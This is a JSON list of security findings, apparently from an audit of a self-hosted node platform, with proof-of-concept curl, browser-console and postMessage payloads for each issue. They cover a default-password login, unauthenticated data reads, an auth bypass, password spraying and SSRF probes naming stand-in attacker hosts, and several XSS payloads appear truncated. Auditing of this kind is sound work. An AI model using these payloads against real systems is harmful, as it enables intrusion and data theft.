{
"findings": [
{
"id": "XSS-001",
"type": "stored_xss",
"endpoint": "/archipelago/node-message",
"parameter": "message, from_pubkey",
"confidence": "medium",
"payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"\\\" onfocus=alert(1) autofocus=\\\"\",\"message\":\"
\"}'"
},
{
"id": "XSS-002",
"type": "dom_xss_postmessage",
"endpoint": "AppLauncherOverlay.vue (client-side)",
"parameter": "postMessage event.data.type",
"confidence": "medium",
"payload_suggestion": "window.parent.postMessage({ type: 'app-launcher-escape' }, '*')"
},
{
"id": "XSS-003",
"type": "dom_xss_postmessage",
"endpoint": "Settings.vue (client-side)",
"parameter": "postMessage event.data.type",
"confidence": "medium",
"payload_suggestion": "window.postMessage({ type: 'claude-auth-success' }, '*')"
},
{
"id": "XSS-004",
"type": "missing_csp_headers",
"endpoint": "All responses (nginx)",
"parameter": "Content-Security-Policy, X-Frame-Options",
"confidence": "high",
"payload_suggestion": "No CSP set \u2014 any successful XSS injection has zero mitigation. Verify with: curl -sI http://192.168.1.228/ | grep -i security"
},
{
"id": "XSS-005",
"type": "reflected_xss_json",
"endpoint": "/rpc/v1 (method: echo)",
"parameter": "params.message",
"confidence": "low",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"echo\",\"params\":{\"message\":\"\"}}'"
},
{
"id": "XSS-006",
"type": "dom_xss_postmessage",
"endpoint": "/test-aiui.html",
"parameter": "postMessage event.data",
"confidence": "low",
"payload_suggestion": "window.postMessage({ type: 'context:response', id: 'test-1', data: '
' }, '*')"
},
{
"id": "XSS-007",
"type": "cors_wildcard_xss_enabler",
"endpoint": "All backend endpoints",
"parameter": "Access-Control-Allow-Origin: *",
"confidence": "high",
"payload_suggestion": "From any website: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({from_pubkey:'attacker', message:''})})"
},
{
"id": "AUTH-001",
"type": "missing_session_management",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}' \u2014 observe null response with no Set-Cookie header"
},
{
"id": "AUTH-002",
"type": "missing_authorization",
"endpoint": "/rpc/v1",
"parameter": "method=package.install|node.signChallenge|container-install|node.createBackup|...",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"node.did\",\"params\":{}}' \u2014 returns node identity without auth"
},
{
"id": "AUTH-003",
"type": "brute_force_no_protection",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login, password",
"confidence": "high",
"payload_suggestion": "Automated password spray against auth.login with no lockout or rate limit \u2014 bcrypt provides ~100ms delay per attempt"
},
{
"id": "AUTH-004",
"type": "default_credentials",
"endpoint": "/rpc/v1",
"parameter": "method=auth.login, password=password123",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"method\":\"auth.login\",\"params\":{\"password\":\"password123\"}}'"
},
{
"id": "AUTH-005",
"type": "client_side_auth_bypass",
"endpoint": "/dashboard",
"parameter": "localStorage['neode-auth']",
"confidence": "high",
"payload_suggestion": "In browser console: localStorage.setItem('neode-auth','true'); location.href='/dashboard' \u2014 full UI access without login"
},
{
"id": "AUTH-006",
"type": "session_invalidation_failure",
"endpoint": "/rpc/v1",
"parameter": "method=auth.logout",
"confidence": "high",
"payload_suggestion": "Logout is a no-op returning null \u2014 no server-side session to invalidate"
},
{
"id": "AUTH-007",
"type": "unauthenticated_websocket",
"endpoint": "/ws/db",
"parameter": "N/A",
"confidence": "high",
"payload_suggestion": "wscat -c ws://192.168.1.228/ws/db \u2014 receives full server state dump including node identity, Tor address, and all package states"
},
{
"id": "AUTH-008",
"type": "message_spoofing",
"endpoint": "/archipelago/node-message",
"parameter": "from_pubkey, message",
"confidence": "high",
"payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"spoofed\",\"message\":\"injected\"}'"
},
{
"id": "AUTH-009",
"type": "cors_wildcard",
"endpoint": "/archipelago/node-message, /api/container/logs, /electrs-status, /proxy/lnd/*",
"parameter": "Access-Control-Allow-Origin: *",
"confidence": "high",
"payload_suggestion": "Drive-by attack from malicious webpage: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', ...}) \u2014 succeeds cross-origin"
},
{
"id": "AUTH-010",
"type": "weak_password_policy",
"endpoint": "/rpc/v1",
"parameter": "method=auth.setup (frontend only), password",
"confidence": "medium",
"payload_suggestion": "Initial setup accepts 8-char passwords without complexity; change requires 12+ with complexity"
},
{
"id": "AUTH-011",
"type": "unauthenticated_ssrf_proxy",
"endpoint": "/proxy/lnd/*",
"parameter": "path suffix",
"confidence": "high",
"payload_suggestion": "curl http://192.168.1.228/proxy/lnd/v1/getinfo \u2014 accesses LND REST API without authentication"
},
{
"id": "AUTH-012",
"type": "unauthenticated_data_access",
"endpoint": "/api/container/logs",
"parameter": "app_id, lines",
"confidence": "high",
"payload_suggestion": "curl 'http://192.168.1.228/api/container/logs?app_id=lnd&lines=500' \u2014 reads container logs without auth"
},
{
"id": "AUTH-013",
"type": "disconnected_auth_infrastructure",
"endpoint": "N/A (architectural)",
"parameter": "core/startos/src/middleware/auth.rs not wired to core/archipelago/",
"confidence": "high",
"payload_suggestion": "Informational: auth middleware exists in startos crate but is not imported by the archipelago binary"
},
{
"id": "SSRF-001",
"type": "blind_ssrf_via_tor_proxy",
"endpoint": "/rpc/v1",
"parameter": "params.onion (method: node-check-peer)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"node-check-peer\",\"params\":{\"onion\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}"
},
{
"id": "SSRF-002",
"type": "ssrf_via_tor_proxy_with_data_exfil",
"endpoint": "/rpc/v1",
"parameter": "params.onion (method: node-send-message)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"node-send-message\",\"params\":{\"onion\":\"VALID_56_BASE32_ONION_ADDRESS\",\"message\":\"ssrf-probe\"}}"
},
{
"id": "SSRF-003",
"type": "internal_service_proxy",
"endpoint": "/proxy/lnd/{path}",
"parameter": "URL path suffix",
"confidence": "medium",
"payload_suggestion": "GET /proxy/lnd/v1/getinfo on port 5678"
},
{
"id": "SSRF-004",
"type": "ssrf_via_container_registry_pull",
"endpoint": "/rpc/v1",
"parameter": "params.dockerImage (method: package.install)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"package.install\",\"params\":{\"id\":\"probe\",\"dockerImage\":\"attacker-registry.example.com/ssrf-canary:latest\"}}"
},
{
"id": "SSRF-005",
"type": "full_arbitrary_url_fetch",
"endpoint": "marketplace.get (INACTIVE - startos codebase)",
"parameter": "url",
"confidence": "low",
"payload_suggestion": "NOT EXPLOITABLE - code not compiled into active binary"
},
{
"id": "SSRF-006",
"type": "config_driven_websocket_ssrf",
"endpoint": "/rpc/v1 (methods: node-nostr-discover, node.nostr-publish)",
"parameter": "ARCHIPELAGO_NOSTR_RELAYS env var",
"confidence": "low",
"payload_suggestion": "Requires config modification: ARCHIPELAGO_NOSTR_RELAYS=wss://attacker.com/"
}
]
}